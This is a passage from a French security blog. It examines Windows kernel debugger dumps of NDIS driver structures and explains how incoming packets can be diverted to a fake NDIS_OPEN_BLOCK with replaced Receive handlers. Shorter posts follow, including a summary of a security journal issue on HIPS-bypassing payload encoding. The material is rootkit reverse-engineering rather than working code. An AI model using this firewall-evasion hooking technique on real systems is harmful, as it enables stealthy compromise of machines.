   +0x198 WanRcvCompleteHandler : 0xfa5d3941     void  NDIS!NdisMWanIndicateReceiveComplete+0
   +0x19c NextGlobalMiniport : (null)
   +0x1a0 WorkQueue        : [7] _SINGLE_LIST_ENTRY
   +0x1bc SingleWorkItems  : [6] _SINGLE_LIST_ENTRY
   +0x1d4 SendFlags        : 0 ''
   +0x1d5 TrResetRing      : 0 ''
   +0x1d6 ArcnetAddress    : 0 ''
   +0x1d7 XState           : 0x2 ''
   +0x1d8 ArcBuf           : (null)
   +0x1d8 BusInterface     : (null)
   +0x1dc Log              : (null)
   +0x1e0 SlotNumber       : 0xffffffff
   +0x1e4 AllocatedResources : 0x80df68a0 _CM_RESOURCE_LIST
   +0x1e8 AllocatedResourcesTranslated : 0x80df6904 _CM_RESOURCE_LIST
   +0x1ec PatternList      : _SINGLE_LIST_ENTRY
   +0x1f0 PMCapabilities   : _NDIS_PNP_CAPABILITIES
   +0x200 DeviceCaps       : _DEVICE_CAPABILITIES
   +0x240 WakeUpEnable     : 0
   +0x244 CurrentDevicePowerState : 1 ( PowerDeviceD0 )
   +0x248 pIrpWaitWake     : (null)
   +0x24c WaitWakeSystemState : 0 ( PowerSystemUnspecified )
   +0x250 VcIndex          : _LARGE_INTEGER 0x0
   +0x258 VcCountLock      : 0
   +0x25c WmiEnabledVcs    : _LIST_ENTRY [ 0x80df339c - 0x80df339c ]
   +0x264 pNdisGuidMap     : 0x80dde900 _NDIS_GUID
   +0x268 pCustomGuidMap   : (null)
   +0x26c VcCount          : 0
   +0x26e cNdisGuidMap     : 0x40
   +0x270 cCustomGuidMap   : 0
   +0x272 CurrentMapRegister : 0x7f
   +0x274 AllocationEvent  : 0xfabb82e0 _KEVENT
   +0x278 BaseMapRegistersNeeded : 0x80
   +0x27a SGMapRegistersNeeded : 0x10
   +0x27c MaximumPhysicalMapping : 0x600
   +0x280 MediaDisconnectTimer : _NDIS_TIMER
   +0x2c8 MediaDisconnectTimeOut : 0xffff
   +0x2ca InstanceNumber   : 1
   +0x2cc OpenReadyEvent   : _NDIS_EVENT
   +0x2dc PnPDeviceState   : 1 ( NdisPnPDeviceStarted )
   +0x2e0 OldPnPDeviceState : 0 ( NdisPnPDeviceAdded )
   +0x2e4 SetBusData       : 0xfa704330     unsigned long  pci!PciPnpWriteConfig+0
   +0x2e8 GetBusData       : 0xfa704306     unsigned long  pci!PciPnpReadConfig+0
   +0x2ec DeferredDpc      : _KDPC
   +0x310 NdisStats        : _NDIS_STATS
   +0x328 IndicatedPacket  : [32] (null)
   +0x3a8 RemoveReadyEvent : (null)
   +0x3ac AllOpensClosedEvent : (null)
   +0x3b0 AllRequestsCompletedEvent : (null)
   +0x3b4 InitTimeMs       : 0xd88
   +0x3b8 WorkItemBuffer   : [6] _NDIS_MINIPORT_WORK_ITEM
   +0x400 SystemAdapterObject : 0x80dd5788 _DMA_ADAPTER
   +0x404 DriverVerifyFlags : 0
   +0x408 OidList          : 0x80dd8d58 _OID_LIST
   +0x40c InternalResetCount : 0
   +0x40e MiniportResetCount : 0
   +0x410 MediaSenseConnectCount : 0
   +0x412 MediaSenseDisconnectCount : 2
   +0x414 xPackets         : (null)
   +0x418 UserModeOpenReferences : 0
   +0x41c SavedSendHandler : 0xfa5ccd33
   +0x41c SavedWanSendHandler : 0xfa5ccd33
   +0x420 SavedSendPacketsHandler : 0xfa5cd31c     void  NDIS!ndisMSendPackets+0
   +0x424 SavedCancelSendPacketsHandler : (null)
   +0x428 WSendPacketsHandler : (null)
   +0x42c MiniportAttributes : 8
   +0x430 SavedSystemAdapterObject : (null)
   +0x434 NumOpens         : 2
   +0x436 CFHangXTicks     : 0
   +0x438 RequestCount     : 0
   +0x43c IndicatedPacketsCount : 0
   +0x440 PhysicalMediumType : 0
   +0x444 LastRequest      : 0xf7526b6c _NDIS_REQUEST
   +0x448 DmaAdapterRefCount : 8
   +0x44c FakeMac          : 0x80de5680
   +0x450 LockDbg          : 0
   +0x454 LockDbgX         : 0
   +0x458 LockThread       : (null)
   +0x45c InfoFlags        : 0x2010211
   +0x460 TimerQueueLock   : 0
   +0x464 ResetCompletedEvent : (null)
   +0x468 QueuedBindingCompletedEvent : (null)
   +0x46c DmaResourcesReleasedEvent : (null)
   +0x470 SavedPacketIndicateHandler : 0xfa5d8b21     void  NDIS!ethFilterDprIndicateReceivePacket+0
   +0x474 RegisteredInterrupts : 1
   +0x478 SGListLookasideList : (null)
   +0x47c ScatterGatherListSize : 0
   +0x480 WakeUpTimerEvent : (null)
   +0x484 SecurityDescriptor : 0x80df4680
   +0x488 NumUserOpens     : 0
   +0x48c NumAdminOpens    : 0
   +0x490 Ref              : _ULONG_REFERENCE

On prend le champ EthDB qui pointe sur une struct ndis!_X_FILTER :

kd> dt ndis!_X_FILTER 0x80e438e8
   +0x000 OpenList         : 0x80e2fea8 _X_BINDING_INFO
   +0x004 BindListLock     : _NDIS_RW_LOCK
   +0x214 Miniport         : 0x80df3140 _NDIS_MINIPORT_BLOCK
   +0x218 CombinedPacketFilter : 0xb
   +0x21c OldCombinedPacketFilter : 0xb
   +0x220 NumOpens         : 2
   +0x224 MCastSet         : (null)
   +0x228 SingleActiveOpen : (null)
   +0x22c AdapterAddress   : [6]  ""
   +0x234 MCastAddressBuf  : 0xffb9b1b8 [6]  "???"
   +0x238 OldMCastAddressBuf : (null)
   +0x23c MaxMulticastAddresses : 0x24
   +0x240 NumAddresses     : 1
   +0x244 OldNumAddresses  : 0
   +0x234 AdapterShortAddress : [2]  "??????"
   +0x238 MCastLongAddressBuf : (null)
   +0x23c MCastShortAddressBuf : 0x00000024 [2]  ""
   +0x240 OldMCastLongAddressBuf : 0x00000001 [6]  ""
   +0x244 OldMCastShortAddressBuf : (null)
   +0x248 MaxMulticastLongAddresses : 0
   +0x24c MaxMulticastShortAddresses : 0
   +0x250 NumLongAddresses : 0
   +0x254 NumShortAddresses : 0
   +0x258 OldNumLongAddresses : 0
   +0x25c OldNumShortAddresses : 0
   +0x260 SupportsShortAddresses : 0 ''
   +0x234 CombinedFunctionalAddress : 0xffb9b1b8
   +0x238 GroupAddress     : 0
   +0x23c GroupReferences  : 0x24
   +0x240 OldCombinedFunctionalAddress : 1
   +0x244 OldGroupAddress  : 0
   +0x248 OldGroupReferences : 0

Cette structure contient un pointeur sur un liste de _X_BINDING_INFO qui représentent les NDIS_OPEN_BLOCK attachés au miniport.

kd> dt ndis!_X_BINDING_INFO 0x80e2fea8
   +0x000 NextOpen         : 0x80dcef20 _X_BINDING_INFO
   +0x004 NdisBindingHandle : 0x80e2fef0 _NDIS_OPEN_BLOCK
   +0x008 Reserved         : (null)
   +0x00c PacketFilters    : 0xb
   +0x010 OldPacketFilters : 0
   +0x014 References       : 1
   +0x018 NextInactiveOpen : (null)
   +0x01c ReceivedAPacket  : 0 ''
   +0x020 MCastAddressBuf  : 0x80f01bc8 [6]  "???"
   +0x024 NumAddresses     : 1
   +0x028 OldMCastAddressBuf : (null)
   +0x02c OldNumAddresses  : 0
   +0x020 MCastLongAddressBuf : 0x80f01bc8 [6]  "???"
   +0x024 NumLongAddresses : 1
   +0x028 MCastShortAddressBuf : (null)
   +0x02c NumShortAddresses : 0
   +0x030 OldMCastLongAddressBuf : (null)
   +0x034 OldNumLongAddresses : 0
   +0x038 OldMCastShortAddressBuf : (null)
   +0x03c OldNumShortAddresses : 0
   +0x020 FunctionalAddress : 0x80f01bc8
   +0x024 OldFunctionalAddress : 1
   +0x028 UsingGroupAddress : 0 ''
   +0x029 OldUsingGroupAddress : 0 ''

kd> dt ndis!_X_BINDING_INFO 0x80dcef20
   +0x000 NextOpen         : (null)
   +0x004 NdisBindingHandle : 0x80dc8c50 _NDIS_OPEN_BLOCK
   +0x008 Reserved         : (null)
   +0x00c PacketFilters    : 0xb
   +0x010 OldPacketFilters : 0
   +0x014 References       : 1
   +0x018 NextInactiveOpen : (null)
   +0x01c ReceivedAPacket  : 0 ''
   +0x020 MCastAddressBuf  : (null)
   +0x024 NumAddresses     : 0
   +0x028 OldMCastAddressBuf : (null)
   +0x02c OldNumAddresses  : 0
   +0x020 MCastLongAddressBuf : (null)
   +0x024 NumLongAddresses : 0
   +0x028 MCastShortAddressBuf : (null)
   +0x02c NumShortAddresses : 0
   +0x030 OldMCastLongAddressBuf : (null)
   +0x034 OldNumLongAddresses : 0
   +0x038 OldMCastShortAddressBuf : (null)
   +0x03c OldNumShortAddresses : 0
   +0x020 FunctionalAddress : 0
   +0x024 OldFunctionalAddress : 0
   +0x028 UsingGroupAddress : 0 ''
   +0x029 OldUsingGroupAddress : 0 ''

Si on regarde bien le résultat de la commande !protocols on a 2 OPEN_BLOCK sur notre miniport qui sont :

kd> !protocols
 Protocol 80d5bd40: NDISUIO
    Open 80e2fef0 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

 Protocol 80d4c878: TCPIP
    Open 80dc8c50 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

Ho tient ce sont ceux qu’on voit dans les ndis!_X_BINDING_INFO ! On peut donc pour un packet entrant le rediriger sur un fake NDIS_OPEN_BLOCK à nous, de la même forme que l’original mais ayant les handler Reveive* modifiés, et voilà le tour est joué. J’avoue que j’ai choppé toutes ces infos dans la conf Rootkits: Attacking Personal Firewalls d’Alexander Tereshkin lors de blackhat 2K6. Je me demande même si ce n’est pas lui l’auteur de l’article dont je vous parle sur rootkit.com …

Si vous voulez vous faire plaisir, MS vous file les doc imbuvable de ses protocoles (merci à nono) Windows Server Protocols (WSPP)

Post Category: C:

2 comments février 22nd, 2008 at 12:39 admin

TLBs are your friends

Un drame m’est arrivé, la pire chose au monde. Ce matin au réveil, je m’aperçois que je n’ai plus de chocapicz … Tel un drogué je comprends que mon besoin primaire de cette nourriture ne pourra être satisfait rapidement, c’est dans ce genre de moment qu’on réalise que nos petites habitudes ont parfois prit une ampleur sur notre existence insoupçonnée, comment faire pour ne pas y penser ? Comment faire pour que mon ventre creux arrête de gargouiller, il est 13h (wiwi c’est l’heure ou je me réveil) tout est fermé, je me dis « Ivan, soit fort, combat cette drogue, fait autre chose, chasse cette envie de ton esprit ! » et j’ai fait ce que je sais faire le mieux, j’ai codé …
(suite…)

Post Category: RE

24 comments février 4th, 2008 at 12:30 admin

Uninformed volume 9

Le nouvel opus du fameux journal Uninformed vient de sortir. Au programme on a du reverse sur les protections employées par Battle.net, un article trop court sur l’exploitation des ActiveX, un autre sur l’encodage dynamique des payloads en fonction du contexte ou ils seront exécutés afin de bypass un michant HIPS et enfin un essai sur les leçons qu’on peut tirer sur la protection d’un code depuis son exploitation. Perso, je suis un peu déçu, il n’y a pas d’exploitation kernel delamortquitue des chocapicz, pas de release de codes … ouinz. Les auteurs manqueraient-ils d’idées ?

Post Category: C:

2 comments janvier 28th, 2008 at 08:24 admin

Next Posts Previous Posts


Calendar

novembre 2020
L Ma Me J V S D
« fév    
 1
2345678
9101112131415
16171819202122
23242526272829
30  

Categories

Links

Feeds